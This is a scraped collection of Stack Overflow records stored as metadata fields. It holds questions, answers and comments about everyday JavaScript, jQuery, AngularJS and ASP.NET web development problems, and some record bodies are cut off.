has body: Is there a way to get driving directions between two markers on a leaflet map? I am coding with javascript and use mapbox for layers. I can't find any method or sth. Is this possible?
has title: leaflet: get driving directions
type: AnsweredQuestion

http://stackoverflow.com/comment/40354139
comment on: http://stackoverflow.com/q/25799198
score: 1
has text: It doesn't matter if the variable/parameter names are changed as the *values* are used, not the names. Needing to avoid obfuscation is only necessary if operating similar to [AngularJS's Dependency Injection scheme](http://outbottle.com/resolving-angularjs-minimization-obfuscation-issues/).
type: Comment
type: QuestionComment

http://stackoverflow.com/a/44166362
has body: casper.on('started', function () { this.page.customHeaders = { 'Accept-Language': 'en-US' } });
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25745988

http://stackoverflow.com/comment/40442033
has text: All modern browsers prohibit accessing the DOM of pages which are not in the same domain scope. This is a security feature. I would recommend you pass the fragment identifier to the IFRAME on load.
comment on: http://stackoverflow.com/a/25847303
score: 1
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25846902
has comment: http://stackoverflow.com/comment/55743738
score: 0
answers question: http://stackoverflow.com/q/25846487
type: Answer
has body: You are missing dataType. According to jQuery, dataType (default: Intelligent Guess (xml, json, script, or html)) Type: String The type of data that you're expecting back from the server. If none is specified, jQuery will try to infer it based on the MIME type of the response (an XML MIME type will yield XML, in 1.4 JSON will yield a JavaScript object, in 1.4 script will execute the script, and anything else will be returned as a string). The available types (and the result passed as the first argument to your success callback) are:
has comment: http://stackoverflow.com/comment/40440761

http://stackoverflow.com/a/25768636
score: 0
has body: Try this: var data = [['A',1,'X'],['B',2,'Y'],['C',3,'Z']]; function getCombinations(data) { var combinations = []; data.forEach(function(first) { data.forEach(function(second) { combinations.push([first[0], second[0]]); }); }); return combinations; } console.log(getCombinations(data)); Here is the jsfiddle-demo
type: Answer
answers question: http://stackoverflow.com/q/25768490

http://stackoverflow.com/a/25757400
score: 3
accepted answer of: http://stackoverflow.com/q/25757259
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25757259
upvote count: 3
type: Answer
downvote count: 0
has body: You may try this also: var readValues = function () { var options = document.getElementById('carsId').options; var list = [], i = options.length; while (i--) { list.push(options[i].value); } console.log(list);//&lt;-- ["audi", "opel", "saab", "volvo"] }; In-case you need the text shown to user, use list.push(options[i].innerHTML);

http://stackoverflow.com/comment/40364363
comment on: http://stackoverflow.com/q/25727672
type: QuestionComment
type: Comment
score: 0
has text: I've used `$(window).width();` `$(document).width();` and `$('body').css('width')`each giving the same 2 versions of the width, one with the scrollbar included and one without, depending on whether I refresh the page or click the link to get to the page!

http://stackoverflow.com/a/25753310
score: 5
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25753261
type: Answer
has body: First of all, Number.toFixed(n) returns a string (with n digits after a decimal point), not a number. If you want to do math with numbers, pushing them through toFixed is usually not a good idea (as for any math they should be converted back to Number type). Second, + operation is overloaded in JS: for numbers, it's addition, but for strings (even if just one operand is a string), it's concatenation of operands. That's exactly what happened in your case: two strings - representing positive and negative numbers - were just glued together. (it's not the same, btw, for the rest of arithmetic operations; hence the correct result of -). Overall, here's one possible approach to express what you want: &lt;%= (xValue + yValue).toFixed(8) %&gt; ... but here's a caveat: float math in JS is flawed by design. You only deal with approximations of float values that can be stored in memory. Most of the time, these approximations will be correctly rounded by toFixed(), but sometimes, they won't.
upvote count: 5
answers question: http://stackoverflow.com/q/25753261

http://stackoverflow.com/a/25811053
has comment: http://stackoverflow.com/comment/40375004
has comment: http://stackoverflow.com/comment/40375136
has comment: http://stackoverflow.com/comment/40374749
has comment: http://stackoverflow.com/comment/40374716
has comment: http://stackoverflow.com/comment/40374847
has body: Some misuse the selected-Attribute as default selection. Unfortunatelly there is no such thing like a default-Attribute but: the first Element is selected by standard-convention. Set the option you like to have as the default-value at first option in the &lt;select&gt;.
type: Answer
has comment: http://stackoverflow.com/comment/40374662
score: 0
answers question: http://stackoverflow.com/q/25810921
has comment: http://stackoverflow.com/comment/40375577

http://stackoverflow.com/comment/40366341
has text: @naomik ah, I figured you didn't notice the suggested edit since you were mini-editing inbetween (which always overwrote my edit). So I just gave up after a couple of tries xD Apparently it's a thing to post short answers quick, and then keep expanding them (as opposite to posting a complete answer from the start). I didn't know that.
comment on: http://stackoverflow.com/q/25805589
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/120487860
type: QuestionComment
has text: were you able to figure this out @TygerEye
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25828502

http://stackoverflow.com/comment/40427856
type: Comment
comment on: http://stackoverflow.com/q/25839362
type: QuestionComment
score: 0
has text: you asked the same thing yesterday, why not do a little searching like : http://stackoverflow.com/questions/25814980/angularui-why-modal-is-not-implemented-as-a-directive

http://stackoverflow.com/q/25845310
favorite count: 0
accepted answer: http://stackoverflow.com/a/25846008
type: AnsweredQuestion
score: 2
upvote count: 2
type: Question
has title: jQuery UI Sortable and Table/Cell Size
tagged with: jquery-ui
tagged with: asp.net-mvc
tagged with: javascript
tagged with: jquery
has body: I'm having trouble using jQuery UI's sortable. I have a table in which the rows follow this structure: ... ... The first hidden input (named 'MyElement.index') comes from the Html.BeginCollectionItem() extension method used to support the editing of a variable length list, an approach I've used several times before and which can be seen here or here. Basically it adds a prefix to the names and ids of inputs of repeating items (i.e. items in a collection) in a model/viewmodel so that model binding knows which input belongs to which nested object. I'm also setting a custom helper in my jQuery UI sortable: var myHelper = function (e, tr) { var $originals = tr.children(); var $helper = tr.clone(); $helper.children().each(function (index) { $(this).width($originals.eq(index).width()) }); return $helper; }; so that the td's in the row being dragged keep their widths. However, I don't get the desired effect and instead, when I drag a row, the table shrinks a bit and I can see that the cells of the row being dragged aren't really keeping their exact widths. 1) This is the table (tr and td's backgrounds have been coloured for better visualization): 2) The last row is being dragged. You can see that the table size decreases and the td's widths change in the dragged row. Pink is the row's background. If I don't use the BeginCollectionItem - which I need to in order to successfully post my ViewModel - I don't get the same issue. I have tried several modifications on my myHelper function. including removing the hidden input from the $helper object, with no results.
tagged with: http://stackoverflow.com/tag/html
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/25846008

http://stackoverflow.com/q/25861222
has comment: http://stackoverflow.com/comment/40467470
upvote count: 1
answer count: 1
downvote count: 1
tagged with: c#
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/1568297
has body: I'm using below code of gridview in aspx page, please note gridview under in form tag. &lt;Grdview:GridViewExtended ID="GridView1" runat="server" AutoGenerateColumns="False" CssClass="Grid" onpageindexchanging="GridView1_PageIndexChanging" onselectedindexchanged="GridView1_SelectedIndexChanged" PageSize="6" ShowFooter="True" Width="543px" onselectedindexchanging="GridView1_SelectedIndexChanging" AllowPaging="True" EditIndex="-1" ShowHeaderWhenEmpty="True" ShowFooterWhenEmpty="True"&gt; &lt;HeaderStyle CssClass ="yui-grid"/&gt; &lt;Columns&gt; &lt;asp:TemplateField HeaderText="Job_No"&gt; &lt;ItemTemplate&gt; &lt;asp:Label ID="lbl1" runat="server" Text='&lt;%# Eval("Job_No") %&gt;'&gt; &lt;/asp:Label&gt; &lt;/ItemTemplate&gt; &lt;FooterTemplate&gt; &lt;asp:TextBox ID="txtSearch" runat="server" Height="19px" Width="87px" CssClass="textEntry" ToolTip="Add New Entry"&gt;&lt;/asp:TextBox&gt; &lt;asp:HiddenField ID="hfCustomerId" runat="server" /&gt; &lt;/FooterTemplate&gt; &lt;/asp:TemplateField&gt; My Javascript code, which I'm using in aspx page &lt;script type="text/javascript"&gt; $(document).ready(function () { $("#GridView1").find(".textEntry").autocomplete({ source: function (request, response) { $.ajax({ url: '&lt;%#ResolveUrl("~/Service.asmx/GetCustomers") %&gt;', dataType: "json", type: "POST", contentType: "application/json; charset=utf-8", success: function (data) { response($.map(data.d, function (item) { return { label: item.split('-')[0], val: item.split('-')[1] } })) }, error: function (response) { alert(response.responseText); }, failure: function (response) { alert(response.responseText); } }); }, select: function (e, i) { $("#&lt;%=hfCustomerId.ClientID %&gt;").val(i.item.val); }, minLength: 1 }); }); How to get textbox control(txtSearch) using this Javascript code? thanks
has title: How to get textbox value thru javascript which is in footer row of gridview control
has comment: http://stackoverflow.com/comment/40467647
has comment: http://stackoverflow.com/comment/40467715
has comment: http://stackoverflow.com/comment/40467935
has answer: http://stackoverflow.com/a/25861754
tagged with: javascript
has comment: http://stackoverflow.com/comment/40467050
tagged with: asp.net
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40467023
score: 0

http://stackoverflow.com/q/25840451
tagged with: node.js
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25845109
has title: Problems with multiple Node.js callbacks
type: Question
tagged with: mongodb
has answer: http://stackoverflow.com/a/25845109
tagged with: javascript
has answer: http://stackoverflow.com/a/25845780
score: 0
answer count: 2
tagged with: mongoose
has body: I'm trying to solve a problem i've been having with a nodejs cronjob of mine. So basically, This request grabs my tracks from soundcloud, I loop through the results and put the data in a mongodb collection. This all works great, but now i'm adding another section to the site, so I need to grab some additional info from another collection. I have a tracks collection, and an inventory collection. The track id is in both collections to relate the additional track data to the newly pulled tracks. So my question is how can I get this additional track data in? Below i have tried to loop through it and inject the data using mongoose's query.find() but the loops do not work together. The callback of the inventory query will run all in one for loop it seems... I'm not exactly sure whats going on there. I'm pretty sure you can also inject a document from another collection by referencing it in the schema... but i'm unsure of how to get this working. This would obviously be a better solution as it won't require more code like this. if anybody has any suggestions for me that would be great! request({ url: url, json: true }, function (error, response, body) { if (!error &amp;&amp; response.statusCode === 200) { var o = 1; for(i=0; i &lt; body.tracks.length; i++){ var last = (i + 1); var track = body.tracks[i]; if( track.sharing == 'public'){ var invData; var obj; db.model('inventory').find({id:track.id}).exec(function(err,item){ //console.log(item[0]); invData = item[0]; }); console.log(invData, obj); obj = new TracksModel({ id: track.id, sharing:track.sharing, uri:track.uri, description:track.description, created_at:track.created_at, duration:track.duration, title:track.title, description:track.description, order: o, inventory_data: invData }); o++; obj.save(function (err) { if (!err) { console.log('Track inserted successfully'); } else { throw err; } }); if(last == body.length){ setTimeout(function(){ console.log("Automatically closing database connection after 5 seconds"); db…
possible better answer: http://stackoverflow.com/a/25845780

http://stackoverflow.com/q/25787725
type: Question
possible better answer: http://stackoverflow.com/a/25803124
accepted answer: http://stackoverflow.com/a/25826922
score: 1
answer count: 2
has body: this is a tricky one (at least for me): I've created a Javascript file, let's call it "test.js", which I uploaded to the Shared Components -> Static Files repository with no application associated in particular. This file it's been referenced by page X with NO cache setting, on the Javascript -> File URLs field like this: #WORKSPACE_IMAGES#test.js So far so good, the functions on the library were been called and executed correctly. But I've came across a little bug in the file which I've proceeded to correct and then modify in the uploaded version of the file (been the file lesser than 30000 bytes I was able to modify it on the spot, hitting apply changes). After this I've deleted the history and temp files on the browser. However when I run the page again the error persists, because, as shown on the console, the file been used is the previous one, not the fixed version. A little weird...ok, but that's not all, I've decided to delete the file from the repository and upload it again (same name "test.js") with no application associate again, delete the history and temp files on the browser again, and run the page (again ). And again (hehe...) the error persists and the file been called is the nonexistent one. So lastly I've decided to make a little magic trick and delete the file but not upload it, leaving the reference to #WORKSPACE_IMAGES#test.js on the page properties, delete history and temp file on the browser and run it once more, this time decided to break the page, and yet it works!, wrongly because it's the buggy file but it's there!, then I said: "ok, browser issue..", run it on Chrome (by the first time ever) and the file it's there, then I said: "ok, machine issue..", run it on a new machine (by the first time) and the same nonexistent buggy file it's been loaded... This file it's not been referenced by any other application (yet). On runtime the nonexistent url's file is: http://192.168.141.14/apex/wwv_flow_file_mgr.get_file?p_security_group_id=3321831433…
downvote count: 0
has title: Oracle Apex Ghosting Javascript external file (bug?)
tagged with: javascript
tagged with: oracle-apex
favorite count: 0
tagged with: oracle-database
has comment: http://stackoverflow.com/comment/40346734
has comment: http://stackoverflow.com/comment/40346699
has comment: http://stackoverflow.com/comment/40351127
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40342258
has comment: http://stackoverflow.com/comment/40344797
has answer: http://stackoverflow.com/a/25803124
has answer: http://stackoverflow.com/a/25826922
upvote count: 1

http://stackoverflow.com/a/25835133
score: 0
answers question: http://stackoverflow.com/q/25834537
has comment: http://stackoverflow.com/comment/40419148
type: Answer
has body: It was solved. For who is interested in "else" you have to replace "return true" with this: $("#form-contact")[0].reset(); $.post($(this).attr('action'), $(this).serialize(), function(response){ },'json'); return false; The first line is just clearing the inputs, the rest is solving the redirect problem :). So works perfectly and no redirect.

http://stackoverflow.com/comment/42894115
type: QuestionComment
comment on: http://stackoverflow.com/q/25839144
has text: The existing answer has a working example. If something isn't working with his answer, leave a comment and let him know. Looks good to me.
type: Comment
score: 1

http://stackoverflow.com/a/25865573
score: -1
answers question: http://stackoverflow.com/q/25864663
upvote count: 0
type: Answer
has body: thanx now it works (jQuery record): if ($("#T10").is(":checked")) { $.each(t10open, function(i,element) { $(t10open).attr("display" , "none")}); }
downvote count: 1

http://stackoverflow.com/comment/40195783
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25713387
has text: @YuliamChandra what is this anonymous function doing here??

http://stackoverflow.com/comment/40211705
has text: Thank you for explaining **why**, and of course for the solution @bmleite :)
type: Comment
comment on: http://stackoverflow.com/a/25721742
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40261318
has text: Oddly, your code seems to [work in Chrome](http://jsfiddle.net/1nr1ae05/) too. The issue has to be outside of the snippet you've posted.
score: 0
comment on: http://stackoverflow.com/q/25748407
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40271352
type: QuestionComment
has text: As we're developing the website, I'll have access to the webserver. As for the last coordinates, I'd rather not use any SQL or such thing. Am I able to store them in a variable or in a file, just to ease up the database configuration.
score: 0
comment on: http://stackoverflow.com/q/25753161
type: Comment

http://stackoverflow.com/comment/40282731
score: 1
has text: Since OP is not responding I'm going to vote for close the question....
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25760053

http://stackoverflow.com/comment/40264493
has text: store them using a service
comment on: http://stackoverflow.com/q/25750359
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/62634720
type: Comment
score: 0
type: AnswerComment
has text: That will only turn `autoScroll:true` if `css3:true`. It won't destroy the effect of fullpage.js on the site and will not work in all cases. Always use the libraries functions when possible.
comment on: http://stackoverflow.com/a/37561112

kendo-asp.net-mvc
tags question: http://stackoverflow.com/q/25737126
tag name: kendo-asp.net-mvc
type: Tag
tags question: http://stackoverflow.com/q/25743066

http://stackoverflow.com/comment/40477262
type: QuestionComment
comment on: http://stackoverflow.com/q/25785106
has text: I'm not clear on why you need to activate or deactivate buttons based on the position of the sidebar. Are you talking about butons on the sidebar? Or buttons elsewhere? Why would you want to deactivate them in any case?
score: 0
type: Comment

http://stackoverflow.com/comment/42677379
type: AnswerComment
has text: @user801347 I don't know if you managed to fix this yet (it's been a while and i havent been following here). Maybe the problem with IE8 is related to this: http://stackoverflow.com/questions/6269831/hover-effects-not-working-with-ie8
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25775201

http://stackoverflow.com/comment/40272560
type: AnswerComment
has text: yes, your are right. I think question was about how does the filter parameters are processed on api endpoint...
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25752966

http://stackoverflow.com/q/25772558
duplicate of: http://stackoverflow.com/q/203198
has title: jQuery selectors for dynamically loaded HTML
downvote count: 4
upvote count: 0
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/40306158
has body: jQuery does not seem to be able to select a loaded HTML element. Here is my HTML: &lt;div class="class name" style="display: none;"&gt; &lt;div id="submenuID" class="submenuID" /&gt; &lt;script&gt; loadHtmlUsingJavascript('parameter1', 'parameter2'); &lt;/script&gt; &lt;/div&gt; The loaded HTML is a list of links. This is my JavaScript: $("#submenuID li").addClass("active"); But it would not add the class. After some snooping around. I learn to use $("#submenuID li").live('click', function() { $("#submenuID li").addClass("active"); }); However, it does not work until I click on the link a second time.
has answer: http://stackoverflow.com/a/25772585
linked to: http://stackoverflow.com/q/203198
tagged with: javascript
type: UnansweredQuestion
tagged with: jquery
score: -4

http://stackoverflow.com/comment/40222300
type: Comment
has text: firebug console has no errors
type: QuestionComment
comment on: http://stackoverflow.com/q/25725619
score: 0

http://stackoverflow.com/comment/40222160
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25727672
score: 1
has text: Have you tried getting the width of the body tag instead? or try it with `$('body').css('width')` If you just get width on the doc or the window, the values will be different from what you get in the css due to the scrollbar. You need to sync them by using something in the css (media query) and checking it with js to sync the width in css and js

http://stackoverflow.com/comment/40228493
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25730993
has text: There's no such thing as a function declaration inside a block according to the ECMAScript specification; any attempt to support one is a implementation-defined behavior. (cf. [Function Declarations Within Blocks according to the Google JavaScript style guide](http://stackoverflow.com/questions/17409945/function-declarations-within-blocks-according-to-the-google-javascript-style-gui/17410055#17410055))

http://stackoverflow.com/comment/40442947
has text: `$(this).prop("checked", "checked");` <--- makes no sense
score: 1
comment on: http://stackoverflow.com/q/25848135
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25821920
linked to: http://stackoverflow.com/q/16331850
type: Question
tagged with: c#
has comment: http://stackoverflow.com/comment/40395647
has comment: http://stackoverflow.com/comment/40395957
has comment: http://stackoverflow.com/comment/40395765
tagged with: javascript
tagged with: sorting
has comment: http://stackoverflow.com/comment/40396464
has comment: http://stackoverflow.com/comment/40395952
has comment: http://stackoverflow.com/comment/40395679
upvote count: 3
has comment: http://stackoverflow.com/comment/40395531
tagged with: arrays
answer count: 1
downvote count: 1
has body: I would like to sort an array in JavaScript as asc. After I used sort method, the result is like below. [ '123, '12', '1A1', '1A', '1a', 'A1', 'A2', 'AB', 'A', 'Ab', 'a1', 'a2', 'aB', 'ab' ] When I'm using sort Array.Sort() by C#, the result is like below. { "12", "123", "1a", "1A", "1A1", "A", "a1", "A1", "a2", "A2", "ab", "aB", "Ab", "AB" } Actually the C# sort way is what I want, so how to implement it in JavaScript? Has anyone completed this task before? A comparator function is really appreciate.
has answer: http://stackoverflow.com/a/25823005
favorite count: 0
has comment: http://stackoverflow.com/comment/40395941
type: UnansweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/40395661
has title: How to sort an array in Javascript like C#?

http://stackoverflow.com/comment/40264602
has text: In your jfiddle example it does exactly the same: after scrolling it takes few seconds to script to move div. Why? And to return div in up position it takes even longer.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25749296

http://stackoverflow.com/comment/107658895
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/31478967
has text: I tried this method but on refresh it does not work. It's not just a timing issue. I get loads of tons of digest errors

http://stackoverflow.com/comment/40329735
type: Comment
has text: this is useful info, thanks. after some digging i pulled together a working solution. see my answer. I upvoted for setting me on the right path
comment on: http://stackoverflow.com/a/25785906
score: 0
type: AnswerComment

http://stackoverflow.com/a/25810524
type: Answer
has body: First problem to solve here is to parse the coursePrice to a number, to do that you can use String.prototype.replace() and then change it to a number. DEMO something like this: +coursePrice.replace(/[^0-9\.]+/g,""); wherein the + sign changes the replaced string to a number. Now lets get back to the two functions that you want to create, first lets create a service that will have functions, getSchoolCoursePrice() and getTotalSchoolCoursePrice(). Service .service('SchoolService', function() { this.getSchoolCoursePrice = function(school) { return school.professor.reduce(function(value, professor) { return value + +professor.coursePrice.replace(/[^0-9\.]+/g,""); }, 0.00); }; this.getTotalSchoolCoursePrice = function(schools) { return schools.reduce(function(value, school) { return value + school.totalCoursePrice; }, 0.00); }; }) SchoolService.getSchoolCoursePrice() gets the total course price of a school, as you have noticed that the function accepts a parameter which is a school. SchoolService.getTotalSchoolCoursePrice() on the other hand, accepts a parameter of an array of schools which gets the totalCoursePrice of each school. This totalCoursePrice is assigned when iterating each school and then using SchoolService.getSchoolCoursePrice() to assign it with this property. Controller .controller('SchoolController', function($scope, $http, SchoolService) { $http.get('schools.json').success(function(schools) { $scope.schools = schools.map(function(school) { school.totalCoursePrice = SchoolService.getSchoolCoursePrice(school); return school; }); $scope.totalPrice = SchoolService.getTotalSchoolCoursePrice(schools); }); }); As you can see the controller, fetches the list of schools and then appends a totalCoursePrice property to each school. HTML School Total Course Price Loading... Total Price
answers question: http://stackoverflow.com/q/25809861
accepted answer of: http://stackoverflow.com/q/25809861
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/40312752
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25776436
has text: if you can't identify the issue, try using _button_
score: 0

http://stackoverflow.com/comment/40358783
type: AnswerComment
has text: Yes that is what i was after, and if that was so easy I should stop coding :D Thanks!
type: Comment
comment on: http://stackoverflow.com/a/25801857
score: 0

http://stackoverflow.com/a/25804228
type: Answer
has comment: http://stackoverflow.com/comment/40363065
answers question: http://stackoverflow.com/q/25803977
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40365685
has body: First, items is a property of data.items, so to get it, you must access data.items.items Second, it is not splice() you want to use, but shift() var data = {}; data.items = {"username":"usr1","profile": "usr2", "items":[{"s": "1","f": "usr2","m": "hey ebteween how u doing","fr":"usr1"}]}; data.items.items.shift(); Hope this helps
has comment: http://stackoverflow.com/comment/40363430
has comment: http://stackoverflow.com/comment/40372023
downvote count: 0

http://stackoverflow.com/comment/40474846
score: 0
type: Comment
type: QuestionComment
has text: Could you use a callback? `"fnInitComplete": this.rows.add(pcheckdata.alert).draw()` or something along those lines...?
comment on: http://stackoverflow.com/q/25865645

http://stackoverflow.com/a/25814059
type: AcceptedAnswer
has body: JFYI the context menu in your example is not nested in the grid. Menus are floating objects, and as such they are outside of the usual component hierarchy. The error you're having is because you're not passing a callback to SetMessageStatus, you're passing the result of expression this.getStore('message.Inbox').load - which evaluates to a function, but without a scope bound to it it's useless. Read this question's answers for more explanations on what the function scope is. With a naïve head-on approach, the fix would look thusly: onFlagsSetter: function(button, e) { var me = this; // Important for the closure below this.getController('Message').SetMessageStatus(1, 'ToRead', function() { // Note that within the callback function, `this` is an object // entirely different from `this` in the above line, so we call // `getStore` on the captured scope instead. me.getStore('message.Inbox').load(); }); } However, a much better approach is to use Controller events: Ext.define('XApp.controller.Inbox', { extend: 'Ext.app.Controller', init: function() { this.listen({ component: { 'inboxctxmenu #buttonSetFlags': { click: this.onFlagsSetter } }, controller: { '*': { statusmessage: this.onStatusMessage } } }); }, onFlagsSetter: function(button) { this.fireEvent('setstatus', 1, 'ToRead'); }, onStatusMessage: function(success, response) { if (success) { this.getStore('message.Inbox').load(); } } }); Ext.define('Xapp.controller.Message', { extend: 'Ext.app.Controller', init: function() { this.listen({ controller: { '*': { setstatus: this.setMessageStatus } } }); }, setMessageStatus: function(id, statusToSet) { Ext.Ajax.request({ url: ..., method: 'GET', failure: function(response) { this.fireEvent('statusmessage', false, response); }, success: function(connection, response) { this.fireEvent('statusmessage', true, response); }, // We are setting the above callbacks' scope to `this` here, // so they would be bound to the Controller instance scope: this }); } }); As you can see, by us…
type: Answer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25809345
answers question: http://stackoverflow.com/q/25809345
upvote count: 1

http://stackoverflow.com/comment/40251530
type: QuestionComment
has text: ok thanks Arun, got it and it worked. That's frustrating I'd been trying all sorts of things, and the answer was so simple...
score: 0
comment on: http://stackoverflow.com/q/25743263
type: Comment

http://stackoverflow.com/comment/40410314
type: QuestionComment
comment on: http://stackoverflow.com/q/25830190
has text: `'#myTable.sort'` - you need a space between `#myTable` and `.sort`
type: Comment
score: 1

http://stackoverflow.com/comment/40226134
comment on: http://stackoverflow.com/q/25721390
has text: @TrueBlueAussie - Ah, yes, psuedo selectors are just filters, you can't go up, that's why there is no `:parent`, `:siblings` etc. only `:contains`, `:checked`, `:eq`, you can only filter. You could always just hack it, like this -> **http://jsfiddle.net/z3vwk1ko/4/**
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40339788
has text: Have the same problem - http://stackoverflow.com/questions/25791772/debugging-nashorn-revisited . The ide stackoverflow answer I referenced there may be helpful to you.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25727424
score: 0

http://stackoverflow.com/comment/40304021
type: QuestionComment
comment on: http://stackoverflow.com/q/25771543
score: 0
has text: it will return similar information, don't you just love IE?
type: Comment

http://stackoverflow.com/q/25785579
tagged with: c#
has answer: http://stackoverflow.com/a/25789102
tagged with: asp.net-mvc
score: 26
tagged with: javascript
has comment: http://stackoverflow.com/comment/59242218
has answer: http://stackoverflow.com/a/25786474
downvote count: 0
possible better answer: http://stackoverflow.com/a/27182836
favorite count: 0
tagged with: angularjs
tagged with: razor
has title: Does Angular routing template url support *.cshtml files in ASP.Net MVC 5 Project?
answer count: 4
type: AnsweredQuestion
upvote count: 26
has answer: http://stackoverflow.com/a/27182836
has answer: http://stackoverflow.com/a/35066142
has body: I am working on a MVC 5 project. When I use a html page at my views, it load that page but when I use .cshtml page it is not loading the view. The Blank page appears. $urlRouterProvider .otherwise('/app/dashboard'); $stateProvider .state('app', { abstract: true, url: '/app', templateUrl: 'tpl/app.html' }) .state('app.dashboard', { url: '/dashboard', templateUrl: 'tpl/app_dashboard.html' }) Please guide me how to use cshtml file or the best way to do it.
accepted answer: http://stackoverflow.com/a/35066142
type: Question

http://stackoverflow.com/comment/40467478
type: QuestionComment
comment on: http://stackoverflow.com/q/25861375
type: Comment
has text: @FelixKling actually it is valid, but have to eval part of it
score: 0

http://stackoverflow.com/a/25787459
downvote count: 0
type: Answer
has body: Simplfy it. Your initialize function needs mapsOptions fetch from your ajax calls. When ajax calls are ready, prepare the mapOptions and then call initialize function with map options. jQuery_1_11_0(document).ready(function () { var domain = '&lt;?php echo $url; ?&gt;'; // google.com $.ajax({ type: 'POST', url: 'lib/ajax.php' data: { action: 'get_all_seo_details', domain: domain }, beforeSend: function (data) { $('#map-canvas').html('Loading...'); }, complete: function () { $.getJSON('lib/get-details.php', function(data) { var lat = data.lat; // -25.363882 var long = data.long; // 131.044922 // those are ok, are displayed correctly //Prepare mapOptions var mapOptions = { zoom: 4, center: new google.maps.LatLng(lat, long) }; //Now init. map initialize(mapOptions); }); }; }) }); function initialize(mapOptions) { { var map = new google.maps.Map(document.getElementById('map-canvas'), mapOptions); google.maps.event.trigger(map, 'resize'); var marker = new google.maps.Marker({ position: map.getCenter(), icon: { path: google.maps.SymbolPath.CIRCLE, scale: 10 }, draggable: true, map: map }); } });
answers question: http://stackoverflow.com/q/25787143
accepted answer of: http://stackoverflow.com/q/25787143
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/40428893
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25840024
has text: Sorry, I had two issue. 1) as you said I shoudl have used the single quote 2) I shoudl have used `text()` instead of `val()`

http://stackoverflow.com/comment/40402100
has text: @BenjaminGruenbaum: I think the reason to return a promise here was `TODO: lots of processing` that should be fixed without changing the return type (API).
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25810848

http://stackoverflow.com/comment/40474363
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25865439
has text: It's not a problem about timing (in general I'd go with what it's more clear and concise, users won't note any difference in such code) but correctness...

http://stackoverflow.com/q/25795946
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40347744
has answer: http://stackoverflow.com/a/25796042
accepted answer: http://stackoverflow.com/a/25796042
score: 0
has title: angularjs syntax error with ng-class
answer count: 1
tagged with: angularjs
has body: I'm new to angularjs (and programming in general) and am having trouble. I'm following along with a tutorial and trying to create a table and highlight a specific row when clicked. My console is logging an error, which when clicked, takes me here: Syntax Error: Token 'undefined' is at column {2} of the expression [{3}] starting at [{4}]. The original error in the console was: [$parse:syntax] http://errors.angularjs.org/1.2.23/$parse/syntax?p0=undefined&amp;p1=is%20unexpected%2C%20expecting%20%5B%7D%5D&amp;p2=null&amp;p3=%7Bselected%3A%20%24index%3D%3DselectedRow&amp;p4=%7Bselected%3A%20%24index%3D%3DselectedRow app.js app.controller('RestaurantTableController',['$scope', function ($scope){ $scope.selectedRow = {}; $scope.directory= [{name:'The Handsome Heifer', cuisine:'BBQ'}, {name: "Green's Green Greens", cuisine:'Salads'}, {name:'House of Fine Fish', cuisine: 'Seafood'}]; $scope.selectRestaurant=function(row){ console.log('restaurant test'); $scope.selectedRow = row; }; }]); index.html: &lt;table ng-controller="RestaurantTableController"&gt; &lt;tr ng-repeat="restaurant in directory" ng-click ='selectRestaurant($index)' ng-class='{selected: $index==selectedRow'&gt; &lt;td&gt;{{restaurant.name}}&lt;/td&gt; &lt;td&gt;{{restaurant.cuisine}}&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt;
type: AnsweredQuestion
tagged with: syntax
tagged with: ng-class

http://stackoverflow.com/q/25725967
tagged with: wordpress
tagged with: mysql
type: Question
has comment: http://stackoverflow.com/comment/40219611
has comment: http://stackoverflow.com/comment/40219423
answer count: 1
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25726397
score: 0
has comment: http://stackoverflow.com/comment/40219818
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40219496
has comment: http://stackoverflow.com/comment/40219666
tagged with: php
has title: wordpress add data to the table with new rows generated
